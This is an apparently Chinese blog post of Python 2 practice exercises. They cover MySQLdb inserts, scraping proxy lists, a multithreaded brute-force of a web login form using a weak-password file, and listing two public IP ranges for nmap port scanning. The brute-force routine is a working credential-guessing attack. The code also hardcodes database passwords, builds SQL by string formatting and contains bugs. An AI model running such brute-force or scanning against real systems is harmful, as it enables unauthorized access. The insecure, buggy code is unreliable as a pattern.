python例子-MySQLdb和练习题
#!/usr/bin/python #coding:utf-8 import MySQLdb,time import urllib import urllib2 import threading def main(): conn = MySQLdb.connect(host='192.168.1.139',user='gooann',passwd='gooann-a-2013',db='proxy',charset='utf8') conn.autocommit(True) cursor = conn.cursor() cmdsql = "insert into iplist(ip,port,address,type) values('192.1.2.4','80','bj','2')" #cmdsql = "insert into iplist(ip,port,address,type) values(182.206.130.225,3128,辽宁省,2)" cursor.execute(cmdsql) status = cursor.fetchall() #获取返回的结果集. cousor.close() conn.close() # 1、使用urllib访问http://www.cz88.net/proxy/index.shtml(1-10)取得代理服务器的IP地址,并将IP地址存入数据库proxy.iplist表中,type字段按照个人序号插入。 def main1(): proxy = 'proxy_ip.txt' proxy_list = open(proxy,'r').readlines() available_ip = [] conn = db_conn('192.168.1.139','gooann','gooann-a-2013','proxy') cursor = conn.cursor() for i in proxy_list: i = i.strip().decode('utf-8').split(',') sqlcmd = "insert into iplist(ip,port,address,type) values('%s','%s','%s','%s')" % (i[0],i[1],i[3][0:3],'2') print sqlcmd try: cursor.execute(sqlcmd) except Exception, e: #raise e print e else: pass cursor.close() #关闭cursor conn.close() #关闭conn def db_conn(hosts,users,passwds,dbs,charsets='utf8'): try: #conn = MySQLdb.connect(host='192.168.1.139',user='gooann',passwd='gooann-a-2013',db='proxy',charset='utf8') conn = MySQLdb.connect(host=hosts,user=users,passwd=passwds,db=dbs,charset=charsets) conn.autocommit(True) return conn except Exception, e: raise e,"can't connect database!" # 2、多线程练习 # 使用weak_passwd.txt弱口令文件,暴力破解http://127.0.0.1/www/Login/index.html用户名和密码。 def main2(): fo = open('weak_passwd.txt','r') pass_list = fo.readlines() thread_list = [] for i in pass_list: i = i.strip() for j in pass_list: j = j.strip() t = threading.Thread(target=post,args=(i,j)) thread_list.append(t) fo.close() for tl in thread_list: tl.start() while True: if(len(threading.enumerate()) <= 10): break; def post(name,pwd): try: data = urllib.urlencode({"username":name,"password":pwd}); content_length = len(data) headers = { "Host":"192.168.1.139", "Pragma":"no-cache", "Content-Length":content_length, "Accept": "text/html, application/xhtml+xml, */*", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NMJB; rv:11.0) like Gecko", "Content-Type": "application/x-www-form-urlencoded", "Referer": "http://192.168.1.139/www/Login/index.html", "Cookie": "thinkphp_show_page_trace=0|0; PHPSESSID=dbg5jjc9t76njqp6bimk43hjr4", } # Client = httplib.HTTPConnection("192.168.1.139",80,timeout=5) # Client.request("POST","/www/Login/login/",parames,headers) # response = Client.getresponse() url = 'http://192.168.1.139/www/Login/login/' request = urllib2.Request(url,data,headers) response = urllib2.urlopen(request,timeout=5) if response.geturl() == 'http://192.168.1.139/www/Show/index.html': #根据不同的网站需要判断不同的登陆成功方式 print 'user:%s,passwd:%s' % (name,pwd) except Exception, e: pass # 3、多线程验证proxy.iplist中哪些代理IP地址是可用的,并计算响应时间,线程并发数100。 def getIpbyDB(): pass def getIpbyFile(): pass # 4、多线程练习,线程并发数100 # (1)、将111.206.217.0/24、218.75.110.0/24两个网段IP地址插入proxy.nmap_ip表中,type字段按照个人序号插入。 def insertIP(): iplist1 = [] iplist2 = [] conn = db_conn('192.168.88.103','root','cosmysql','proxy') #此地址为本机虚拟机中的mysql地址. #conn = MySQLdb.connect(host='192.168.88.103',user='root',passwd='cosmysql',db='proxy',charset='utf8') conn.autocommit(True) cursor = conn.cursor() for i in range(255): ip1 = '111.206.217.%d' % i ip2 = '218.75.110.%d' % i iplist1.append(ip1) iplist2.append(ip2) iplist = iplist1+iplist2 for j in iplist: cmdsql = "insert into nmap_ip(ip) values('%s')" % (ip1) print cmdsql cursor.execute(cmdsql) cursor.close() conn.close() # (2)、使用nmap扫描上述IP的开放端口,并区分http端口和其它端口,并更新数据库; # (3)、访问上述IP的http端口,取得title并更新数据库。 def main4(): insertIP() if __name__ == '__main__': main4()
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】博客园携手 AI 驱动开发工具商 Chat2DB 推出联合终身会员
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET 依赖注入中的 Captive Dependency
· .NET Core 对象分配(Alloc)底层原理浅谈
· 聊一聊 C#异步 任务延续的三种底层玩法
· 敏捷开发:如何高效开每日站会
· 为什么 .NET8线程池 容易引发线程饥饿
· 终于决定:把自己家的能源管理系统开源了!
· [.NET] 使用客户端缓存提高API性能
· .NetCore依赖注入(DI)之生命周期
· 外部H5唤起常用小程序链接规则整理
· Java生成Word文档之 XDocReport 和 Poi-tl